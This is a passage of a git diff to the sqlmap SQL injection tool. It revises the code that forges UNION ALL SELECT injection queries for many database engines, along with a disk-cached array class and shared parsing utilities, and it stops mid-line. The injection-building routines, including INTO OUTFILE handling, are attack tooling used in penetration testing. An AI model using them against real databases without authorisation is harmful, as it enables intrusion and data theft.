Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -732,7 +809,7 @@ def concatQuery(self, query, unpack=True): concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: - topNum = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1) + topNum = fieldsSelectTop.group(1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: @@ -807,9 +884,9 @@ def concatQuery(self, query, unpack=True): return concatenatedQuery - def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): + def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None, collate=False): """ - Take in input an query (pseudo query) string and return its + Take in input a query (pseudo query) string and return its processed UNION ALL SELECT query. Examples: @@ -849,10 +926,21 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, if query.startswith("SELECT "): query = query[len("SELECT "):] + # On MySQL 8+ the retrieved value (connection collation) cannot be merged in a + # UNION column with a table column of a different collation (e.g. utf8mb4_0900_ai_ci), + # raising "Illegal mix of collations". Normalizing the charset and forcing an explicit + # collation (highest coercibility) wins the merge (Note: skipped for NULL/numeric values). + # Note: requires the utf8mb4 charset (MySQL >= 5.5.3) used in MYSQL_UNION_VALUE_CAST; on + # older versions there is no such collation clash to begin with (unknown version => assumed recent). + collateField = collate and Backend.isDbms(DBMS.MYSQL) and isDBMSVersionAtLeast('5.5.3') is not False + + def _collate(value): + return MYSQL_UNION_VALUE_CAST % value if collateField and value and value != NULL and not value.isdigit() else value + unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix) if limited: - unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count)) + unionQuery += ','.join(char if _ != position else _collate('(SELECT %s)' % query) for _ in xrange(0, count)) unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) @@ -871,29 +959,46 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, query = query[len("TOP %s " % topNum):] unionQuery += "TOP %s " % topNum - intoRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I) + intoFileRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I) - if intoRegExp: - intoRegExp = intoRegExp.group(1) - query = query[:query.index(intoRegExp)] + if intoFileRegExp: + infoFile = intoFileRegExp.group(1) + query = query[:query.index(infoFile)] position = 0 char = NULL + else: + infoFile = None + + if not infoFile: + query = _collate(query) + + # A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678']) + # forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL + # and demands UNION column-type parity); '%s' marks the slot carrying the injected expression. + template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None for element in xrange(0, count): if element > 0: unionQuery += ',' - if element == position: + if conf.uValues and conf.uValues.count(',') + 1 == count: + unionQuery += conf.uValues.split(',')[element] + elif template is not None: + unionQuery += query if template[element] == "%s" else template[element] + elif element == position: unionQuery += query else: unionQuery += char + if conf.uValues: + unionQuery = unionQuery.replace(CUSTOM_INJECTION_MARK_CHAR, query) + if fromTable and not unionQuery.endswith(fromTable): unionQuery += fromTable - if intoRegExp: - unionQuery += intoRegExp + if infoFile: + unionQuery += infoFile if multipleUnions: unionQuery += " UNION ALL SELECT " @@ -902,8 +1007,10 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, if element > 0: unionQuery += ',' - if element == position: - unionQuery += multipleUnions + if template is not None: + unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element] + elif element == position: + unionQuery += _collate(multipleUnions) else: unionQuery += char @@ -939,7 +1046,9 @@ def limitCondition(self, expression, dump=False): stopLimit = limitRegExp.group(int(limitGroupStop)) elif limitRegExp2: startLimit = 0 - stopLimit = limitRegExp2.group(int(limitGroupStart)) + # Note: query2 (LIMIT without OFFSET) always has exactly one group (the + # count); using limitGroupStart here would IndexError for H2 (groupstart=2) + stopLimit = limitRegExp2.group(1) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): @@ -1019,16 +1128,16 @@ def limitQuery(self, num, query, field=None, uniqueField=None): fromFrom = limitedQuery[fromIndex + 1:] orderBy = None - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.RAIMA): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.DERBY): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr - elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): - limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1) + elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) limitedQuery += " %s" % limitStr - elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB): - limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1) limitedQuery += " %s" % limitStr elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO): @@ -1041,7 +1150,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0] for part in original.split(','): if re.search(r"\b%s\b" % re.escape(field), part): - _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1) + _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, count=1) replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num) limitedQuery = replacement break @@ -1092,7 +1201,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitedQuery = safeStringFormat(limitedQuery, (fromFrom,)) limitedQuery += "=%d" % (num + 1) - elif Backend.isDbms(DBMS.MSSQL): + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): forgeNotIn = True if " ORDER BY " in limitedQuery: @@ -1204,6 +1313,9 @@ def addPayloadDelimiters(self, value): def removePayloadDelimiters(self, value): """ Removes payload delimiters from inside the input string + + >>> agent.removePayloadDelimiters(agent.addPayloadDelimiters("1 AND 1=1")) == "1 AND 1=1" + True """ return value.replace(PAYLOAD_DELIMITER, "") if value else value @@ -1211,6 +1323,9 @@ def removePayloadDelimiters(self, value): def extractPayload(self, value): """ Extracts payload from inside of the input string + + >>> agent.extractPayload("prefix" + agent.addPayloadDelimiters("1 AND 1=1") + "suffix") == "1 AND 1=1" + True """ _ = re.escape(PAYLOAD_DELIMITER) @@ -1235,7 +1350,10 @@ def whereQuery(self, query): if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None: prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), "" else: - match = re.search(r" (LIMIT|ORDER).+", query, re.I) + # Note: require a genuine trailing clause (ORDER BY / LIMIT word-bounded), so a + # column/identifier merely starting with "order"/"limit" (e.g. order_id) is not + # mistaken for the suffix and the WHERE is not spliced into the wrong place + match = re.search(r" (ORDER\s+BY\b|LIMIT\b).+", query, re.I) if match: suffix = match.group(0) prefix = query[:-len(suffix)] diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 3cccd2d1ec6..5a833a9e715 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,19 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -try: - import cPickle as pickle -except: - import pickle - import itertools import os +import shutil import sys import tempfile +import threading import zlib from lib.core.compat import xrange @@ -27,6 +24,13 @@ except TypeError: DEFAULT_SIZE_OF = 16 +try: + # Python 2: basestring covers str and unicode + STRING_TYPES = (basestring,) +except NameError: + # Python 3: str and bytes are separate + STRING_TYPES = (str, bytes) + def _size_of(instance): """ Returns total size of a given instance / object (in bytes) @@ -34,10 +38,12 @@ def _size_of(instance): retval = sys.getsizeof(instance, DEFAULT_SIZE_OF) - if isinstance(instance, dict): + if isinstance(instance, STRING_TYPES): + return retval + elif isinstance(instance, dict): retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items())) - elif hasattr(instance, "__iter__"): - retval += sum(_size_of(_) for _ in instance if _ != instance) + elif isinstance(instance, (list, tuple, set, frozenset)): + retval += sum(_size_of(_) for _ in instance if _ is not instance) return retval @@ -55,25 +61,50 @@ class BigArray(list): """ List-like class used for storing large amounts of data (disk cached) - >>> _ = BigArray(xrange(100000)) + >>> _ = BigArray(xrange(100000), chunk_size=500 * 1024) >>> _[20] = 0 + >>> _[-1] = 999 >>> _[99999] - 99999 + 999 + >>> _[100000] + Traceback (most recent call last): + ... + IndexError: BigArray index out of range >>> _ += [0] + >>> sum(_) + 4999850980 + >>> _[len(_) // 2] = 17 + >>> sum(_) + 4999800997 >>> _[100000] 0 - >>> _ = _ + [1] + >>> _[0] = [None] + >>> _.index(0) + 20 + >>> import copy; __ = copy.deepcopy(_) + >>> __.append(1) + >>> len(_) + 100001 + >>> _ = __ >>> _[-1] 1 + >>> _.pop() + 1 + >>> len(_) + 100001 + >>> len([_ for _ in BigArray(xrange(100000))]) + 100000 """ - def __init__(self, items=None): + def __init__(self, items=None, chunk_size=BIGARRAY_CHUNK_SIZE): self.chunks = [[]] self.chunk_length = sys.maxsize self.cache = None self.filenames = set() + self._lock = threading.Lock() self._os_remove = os.remove self._size_counter = 0 + self._chunk_size = chunk_size for item in (items or []): self.append(item) @@ -93,33 +124,55 @@ def __iadd__(self, value): return self def append(self, value): - self.chunks[-1].append(value) + with self._lock: + self.chunks[-1].append(value) - if self.chunk_length == sys.maxsize: - self._size_counter += _size_of(value) - if self._size_counter >= BIGARRAY_CHUNK_SIZE: - self.chunk_length = len(self.chunks[-1]) - self._size_counter = None + if self.chunk_length == sys.maxsize: + self._size_counter += _size_of(value) + if self._size_counter >= self._chunk_size: + self.chunk_length = len(self.chunks[-1]) + self._size_counter = None - if len(self.chunks[-1]) >= self.chunk_length: - filename = self._dump(self.chunks[-1]) - self.chunks[-1] = filename - self.chunks.append([]) + if len(self.chunks[-1]) >= self.chunk_length: + filename = self._dump(self.chunks[-1]) + self.chunks[-1] = filename + self.chunks.append([]) def extend(self, value): for _ in value: self.append(_) def pop(self): - if len(self.chunks[-1]) < 1: - self.chunks.pop() - try: - with open(self.chunks[-1], "rb") as f: - self.chunks[-1] = pickle.loads(zlib.decompress(f.read())) - except IOError as ex: - errMsg = "exception occurred while retrieving data " - errMsg += "from a temporary file ('%s')" % ex - raise SqlmapSystemException(errMsg) + with self._lock: + if not self.chunks[-1] and len(self.chunks) > 1: + self.chunks.pop() + filename = self.chunks[-1] + idx = len(self.chunks) - 1 + + if self.cache and self.cache.index == idx and self.cache.dirty: + self.chunks[-1] = self.cache.data + self.cache.dirty = False + else: + from lib.core.convert import deserializeValue + try: + with open(filename, "rb") as f: + self.chunks[-1] = deserializeValue(zlib.decompress(f.read())) + except IOError as ex: + errMsg = "exception occurred while retrieving data " + errMsg += "from a temporary file ('%s')" % ex + raise SqlmapSystemException(errMsg) + + try: + self._os_remove(filename) + self.filenames.discard(filename) + except OSError: + pass + + # Note: the formerly on-disk chunk is now an in-memory list (and its file has been + # removed), so any cache entry still pointing at it is stale; dropping it prevents + # serving outdated data if that chunk index is later re-dumped (e.g. append after pop) + if isinstance(self.cache, Cache) and self.cache.index == idx: + self.cache = None return self.chunks[-1].pop() @@ -128,77 +181,195 @@ def index(self, value): if self[index] == value: return index - return ValueError, "%s is not in list" % value + raise ValueError("%s is not in list" % value) + + def __reduce__(self): + return (self.__class__, (), self.__getstate__()) + + def close(self): + with self._lock: + while self.filenames: + filename = self.filenames.pop() + try: + self._os_remove(filename) + except OSError: + pass + self.chunks = [[]] + self.cache = None + self.chunk_length = getattr(sys, "maxsize", None) + self._size_counter = 0 + + def __del__(self): + self.close() def _dump(self, chunk): + from lib.core.convert import getBytes, serializeValue try: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) self.filenames.add(filename) - os.close(handle) - with open(filename, "w+b") as f: - f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) + with os.fdopen(handle, "w+b") as f: + # serializeValue() returns text; encode to bytes for the compressed on-disk chunk + f.write(zlib.compress(getBytes(serializeValue(chunk)), BIGARRAY_COMPRESS_LEVEL)) return filename except (OSError, IOError) as ex: errMsg = "exception occurred while storing data " errMsg += "to a temporary file ('%s'). Please " % ex - errMsg += "make sure that there is enough disk space left. If problem persists, " + errMsg += "make sure that there is enough disk space left. If the problem persists, " errMsg += "try to set environment variable 'TEMP' to a location " - errMsg += "writeable by the current user" + errMsg += "writable by the current user" raise SqlmapSystemException(errMsg) def _checkcache(self, index): + if self.cache is not None and not isinstance(self.cache, Cache): + self.cache = None + if (self.cache and self.cache.index != index and self.cache.dirty): + old_filename = self.chunks[self.cache.index] filename = self._dump(self.cache.data) self.chunks[self.cache.index] = filename + # Note: remove the now-superseded chunk file (mirrors __getstate__); otherwise every + # cross-chunk dirty flush orphans one temp file on disk and in self.filenames + if isinstance(old_filename, STRING_TYPES): + try: + self._os_remove(old_filename) + self.filenames.discard(old_filename) + except OSError: + pass + if not (self.cache and self.cache.index == index): + from lib.core.convert import deserializeValue try: with open(self.chunks[index], "rb") as f: - self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False) + self.cache = Cache(index, deserializeValue(zlib.decompress(f.read())), False) except Exception as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex raise SqlmapSystemException(errMsg) def __getstate__(self): - return self.chunks, self.filenames + with self._lock: + if self.cache and self.cache.dirty: + old_filename = self.chunks[self.cache.index] + filename = self._dump(self.cache.data) + self.chunks[self.cache.index] = filename + + if isinstance(old_filename, STRING_TYPES): + try: + self._os_remove(old_filename) + self.filenames.discard(old_filename) + except OSError: + pass + + self.cache.dirty = False + + return self.chunks, self.filenames, self.chunk_length def __setstate__(self, state): self.__init__() - self.chunks, self.filenames = state + chunks, filenames, self.chunk_length = state + + file_mapping = {} + self.filenames = set() + self.chunks = [] + + for filename in filenames: + if not os.path.exists(filename): + continue + + try: + handle, new_filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) + os.close(handle) + shutil.copyfile(filename, new_filename) + self.filenames.add(new_filename) + file_mapping[filename] = new_filename + except (OSError, IOError): + pass + + for chunk in chunks: + if isinstance(chunk, STRING_TYPES): + if chunk in file_mapping: + self.chunks.append(file_mapping[chunk]) + else: + errMsg = "exception occurred while restoring BigArray chunk " + errMsg += "from file '%s'" % chunk + raise SqlmapSystemException(errMsg) + else: + self.chunks.append(chunk) def __getitem__(self, y): - while y < 0: - y += len(self) + with self._lock: + length = len(self) + if length == 0: + raise IndexError("BigArray index out of range") + + if y < 0: + y += length + + if y < 0 or y >= length: + raise IndexError("BigArray index out of range") - index = y // self.chunk_length - offset = y % self.chunk_length - chunk = self.chunks[index] + index = y // self.chunk_length + offset = y % self.chunk_length + chunk = self.chunks[index] - if isinstance(chunk, list): - return chunk[offset] - else: - self._checkcache(index) - return self.cache.data[offset] + if isinstance(chunk, list): + return chunk[offset] + else: + self._checkcache(index) + return self.cache.data[offset] def __setitem__(self, y, value): - index = y // self.chunk_length - offset = y % self.chunk_length - chunk = self.chunks[index] + with self._lock: + length = len(self) + if length == 0: + raise IndexError("BigArray index out of range") + + if y < 0: + y += length + + if y < 0 or y >= length: + raise IndexError("BigArray index out of range") + + index = y // self.chunk_length + offset = y % self.chunk_length + chunk = self.chunks[index] - if isinstance(chunk, list): - chunk[offset] = value - else: - self._checkcache(index) - self.cache.data[offset] = value - self.cache.dirty = True + if isinstance(chunk, list): + chunk[offset] = value + else: + self._checkcache(index) + self.cache.data[offset] = value + self.cache.dirty = True def __repr__(self): return "%s%s" % ("..." if len(self.chunks) > 1 else "", self.chunks[-1].__repr__()) def __iter__(self): - for i in xrange(len(self)): - yield self[i] + with self._lock: + chunks = list(self.chunks) + cache_index = self.cache.index if isinstance(self.cache, Cache) else None + cache_data = self.cache.data if isinstance(self.cache, Cache) else None + + for idx, chunk in enumerate(chunks): + if isinstance(chunk, list): + for item in chunk: + yield item + else: + try: + if cache_index == idx and cache_data is not None: + data = cache_data + else: + from lib.core.convert import deserializeValue + with open(chunk, "rb") as f: + data = deserializeValue(zlib.decompress(f.read())) + except Exception as ex: + errMsg = "exception occurred while retrieving data " + errMsg += "from a temporary file ('%s')" % ex + raise SqlmapSystemException(errMsg) + + for item in data: + yield item def __len__(self): return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1]) diff --git a/lib/core/common.py b/lib/core/common.py index a691edc2ac3..e0e83e7770d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -13,6 +13,7 @@ import copy import functools import getpass +import hmac import hashlib import inspect import io @@ -35,6 +36,7 @@ import time import types import unicodedata +import zlib from difflib import SequenceMatcher from math import sqrt @@ -46,17 +48,19 @@ from extra.cloak.cloak import decloak from lib.core.bigarray import BigArray from lib.core.compat import cmp +from lib.core.compat import codecs_open from lib.core.compat import LooseVersion +from lib.core.compat import RecursionError from lib.core.compat import round from lib.core.compat import xrange -from lib.core.convert import base64pickle -from lib.core.convert import base64unpickle from lib.core.convert import decodeBase64 +from lib.core.convert import deserializeValue from lib.core.convert import decodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.convert import htmlUnescape +from lib.core.convert import serializeValue from lib.core.convert import stdoutEncode from lib.core.data import cmdLineOptions from lib.core.data import conf @@ -103,8 +107,7 @@ from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.settings import BANNER -from lib.core.settings import BOLD_PATTERNS -from lib.core.settings import BOUNDARY_BACKSLASH_MARKER +from lib.core.settings import BOLD_PATTERNS_REGEX from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES @@ -128,14 +131,15 @@ from lib.core.settings import FORM_SEARCH_REGEX from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES from lib.core.settings import GIT_PAGE -from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN -from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX +from lib.core.settings import GITHUB_REPORT_PAT_TOKEN +from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import IGNORE_SAVE_OPTIONS from lib.core.settings import INFERENCE_UNKNOWN_CHAR +from lib.core.settings import INJECT_HERE_REGEX from lib.core.settings import IP_ADDRESS_REGEX from lib.core.settings import ISSUES_PAGE from lib.core.settings import IS_TTY @@ -168,9 +172,13 @@ from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import REFLECTIVE_MISS_THRESHOLD +from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import SENSITIVE_DATA_REGEX from lib.core.settings import SENSITIVE_OPTIONS from lib.core.settings import STDIN_PIPE_DASH +from lib.core.settings import STRUCTURAL_CLASS_REGEX +from lib.core.settings import STRUCTURAL_ID_REGEX +from lib.core.settings import STRUCTURAL_TAG_REGEX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import TEXT_TAG_REGEX from lib.core.settings import TIME_STDEV_COEFF @@ -192,7 +200,7 @@ from thirdparty.clientform.clientform import ParseError from thirdparty.colorama.initialise import init as coloramainit from thirdparty.magic import magic -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import configparser as _configparser @@ -252,6 +260,10 @@ def getDbms(versions=None): if versions is None and Backend.getVersionList(): versions = Backend.getVersionList() + # NOTE: preventing ugly (e.g.) "back-end DBMS: MySQL Unknown" + if isListLike(versions) and UNKNOWN_DBMS_VERSION in versions: + versions = None + return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filterNone(versions))) @staticmethod @@ -455,11 +467,11 @@ def setOsServicePack(sp): @staticmethod def setArch(): msg = "what is the back-end database management system architecture?" - msg += "\n[1] 32-bit (default)" - msg += "\n[2] 64-bit" + msg += "\n[1] 32-bit" + msg += "\n[2] 64-bit (default)" while True: - choice = readInput(msg, default='1') + choice = readInput(msg, default='2') if hasattr(choice, "isdigit") and choice.isdigit() and int(choice) in (1, 2): kb.arch = 32 if int(choice) == 1 else 64 @@ -647,7 +659,7 @@ def paramToDict(place, parameters=None): kb.base64Originals[parameter] = oldValue = value value = urldecode(value, convall=True) value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING) - parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters) + parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value.replace('\\', r'\\'), parameters) except: errMsg = "parameter '%s' does not contain " % parameter errMsg += "valid Base64 encoded value ('%s')" % value @@ -657,7 +669,7 @@ def paramToDict(place, parameters=None): if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)): _ = urldecode(testableParameters[parameter], convall=True) - if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): + if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not re.search(GOOGLE_ANALYTICS_COOKIE_REGEX, parameter): warnMsg = "it appears that you have provided tainted parameter values " warnMsg += "('%s') with most likely leftover " % element warnMsg += "chars/statements from manual SQL injection test(s). " @@ -707,8 +719,16 @@ def walk(head, current=None): if value: walk(head, value) - deserialized = json.loads(testableParameters[parameter]) - walk(deserialized) + # NOTE: for cases with custom injection marker(s) inside (e.g. https://github.com/sqlmapproject/sqlmap/issues/4137#issuecomment-2013783111) - p.s. doesn't care too much about the structure (e.g. injection into the flat array values) + if CUSTOM_INJECTION_MARK_CHAR in testableParameters[parameter]: + for match in re.finditer(r'(\w+)[^\w]*"\s*:[^\w]*\w*%s' % re.escape(CUSTOM_INJECTION_MARK_CHAR), testableParameters[parameter]): + key = match.group(1) + value = testableParameters[parameter].replace(match.group(0), match.group(0).replace(CUSTOM_INJECTION_MARK_CHAR, BOUNDED_INJECTION_MARKER)) + candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % value, parameters) + + if not candidates: + deserialized = json.loads(testableParameters[parameter]) + walk(deserialized) if candidates: message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter) @@ -880,7 +900,7 @@ def getManualDirectories(): def getAutoDirectories(): """ >>> pushValue(kb.absFilePaths) - >>> kb.absFilePaths = ["C:\\inetpub\\wwwroot\\index.asp", "/var/www/html"] + >>> kb.absFilePaths = [r"C:\\inetpub\\wwwroot\\index.asp", "/var/www/html"] >>> getAutoDirectories() ['C:/inetpub/wwwroot', '/var/www/html'] >>> kb.absFilePaths = popValue() @@ -944,7 +964,7 @@ def boldifyMessage(message, istty=None): retVal = message - if any(_ in message for _ in BOLD_PATTERNS): + if re.search(BOLD_PATTERNS_REGEX, message): retVal = setColor(message, bold=True, istty=istty) return retVal @@ -1002,7 +1022,7 @@ def clearColors(message): retVal = message - if isinstance(message, str): + if isinstance(message, six.string_types): retVal = re.sub(r"\x1b\[[\d;]+m", "", message) return retVal @@ -1131,8 +1151,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False): return conf.answers for item in conf.answers.split(','): - question = item.split('=')[0].strip() - answer = item.split('=')[1] if len(item.split('=')) > 1 else None + if '=' in item: + question, answer = item.split('=', 1) + question = question.strip() + else: + question, answer = item.strip(), None if answer and question.lower() in message.lower(): retVal = getUnicode(answer, UNICODE_ENCODING) elif answer is None and retVal: @@ -1321,7 +1344,10 @@ def isZipFile(filename): checkFile(filename) - return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER + with openFile(filename, "rb", encoding=None) as f: + header = f.read(len(ZIP_HEADER)) + + return header == ZIP_HEADER def isDigit(value): """ @@ -1392,7 +1418,7 @@ def parseJson(content): """ This function parses POST_HINT.JSON and POST_HINT.JSON_LIKE content - >>> parseJson("{'id':1}")["id"] == 1 + >>> parseJson("{'id':1, 'foo':[2,3,4]}")["id"] == 1 True >>> parseJson('{"id":1}')["id"] == 1 True @@ -1410,16 +1436,57 @@ def parseJson(content): if quote == '"': retVal = json.loads(content) elif quote == "'": - content = content.replace('"', '\\"') - content = content.replace("\\'", BOUNDARY_BACKSLASH_MARKER) - content = content.replace("'", '"') - content = content.replace(BOUNDARY_BACKSLASH_MARKER, "'") + def _(match): + return '"%s"' % match.group(1).replace('"', '\\"') + + content = re.sub(r"'((?:[^'\\]|\\.)*)'", _, content) retVal = json.loads(content) except: pass return retVal +def jsonMinimize(content): + """ + Returns an order-independent canonical "leaf-path" projection of a JSON document, used for + structure-aware response comparison (so key reordering / whitespace / number formatting do + not perturb the comparison ratio, while a changed value or array length does). Returns None + (and only None) when content is not parseable JSON, so callers can fall back to text comparison + + >>> jsonMinimize('{"b": 2, "a": 1}') == jsonMinimize('{"a":1, "b":2}') + True + >>> jsonMinimize('{"a": {"b": 1}}') == '.a.b=1' + True + >>> jsonMinimize('not json') is None + True + >>> jsonMinimize('{}') == '' + True + """ + + lines = [] + + def _walk(obj, path): + if isinstance(obj, dict): + for key in sorted(obj): # sorted keys -> key-order/whitespace immune + _walk(obj[key], "%s.%s" % (path, key)) + elif isinstance(obj, (list, tuple)): + lines.append("%s.__len__=%d" % (path, len(obj))) # length change always registers + for index in xrange(len(obj)): # index kept -> order-sensitive (correct for result sets) + _walk(obj[index], "%s[%d]" % (path, index)) + else: + lines.append("%s=%s" % (path, obj)) # scalar values kept (boolean detection flips values) + + # Note: both json.loads() and the _walk() recursion can hit RecursionError (RuntimeError on + # Python 2) on JSON nested past the interpreter limit; treat that as "not usable" and return + # None so callers fall back to text comparison, rather than crashing the comparison thread + try: + data = json.loads(content) + _walk(data, "") + except (ValueError, TypeError, RecursionError): + return None + + return "\n".join(sorted(lines)) + def parsePasswordHash(password): """ In case of Microsoft SQL Server password hash value is expanded to its components @@ -1442,10 +1509,13 @@ def parsePasswordHash(password): retVal = "%s\n" % password retVal += "%sheader: %s\n" % (blank, password[:6]) retVal += "%ssalt: %s\n" % (blank, password[6:14]) - retVal += "%smixedcase: %s\n" % (blank, password[14:54]) - if password[54:]: - retVal += "%suppercase: %s" % (blank, password[54:]) + if password.startswith("0x0200"): + retVal += "%shash: %s\n" % (blank, password[14:]) + else: + retVal += "%smixedcase: %s\n" % (blank, password[14:54]) + if password[54:]: + retVal += "%suppercase: %s" % (blank, password[54:]) return retVal @@ -1458,10 +1528,18 @@ def cleanQuery(query): """ retVal = query + queryLower = query.lower() for sqlStatements in SQL_STATEMENTS.values(): for sqlStatement in sqlStatements: candidate = sqlStatement.replace("(", "").replace(")", "").strip() + + # OPTIMIZATION: Skip expensive regex 